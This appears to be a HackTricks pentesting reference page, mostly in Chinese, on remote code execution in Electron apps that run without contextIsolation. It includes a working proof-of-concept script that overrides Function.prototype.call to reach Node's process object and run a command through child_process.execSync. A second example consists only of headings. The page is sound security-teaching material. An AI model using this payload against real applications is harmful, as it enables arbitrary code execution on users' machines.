hacktricks/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md

4.6 KiB
Raw Blame History

Electron contextIsolation RCE via Electron internal code

☁️ HackTricks Cloud ☁️ - 🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

示例 1

来自 https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41

当页面加载开始时,"exit" 事件监听器总是由内部代码设置。此事件在导航之前发出:

process.on('exit', function (){
for (let p in cachedArchives) {
if (!hasProp.call(cachedArchives, p)) continue
cachedArchives[p].destroy()
}
})

{% embed url="664c184fcb/lib/common/asar.js (L30-L36)" %}

8a44289089/bin/events.js (L156-L231) -- 不再存在

然后到这里:

其中 "self" 是 Node 的 process 对象:

process 对象有一个对 "require" 函数的引用:

process.mainModule.require

由于 handler.call 将接收 process 对象,我们可以覆盖它以执行任意代码:

<script>
Function.prototype.call = function(process){
process.mainModule.require('child_process').execSync('calc');
}
location.reload();//Trigger the "exit" event
</script>

示例 2

https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81获取原型污染中的 require 对象

泄漏:

利用:

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥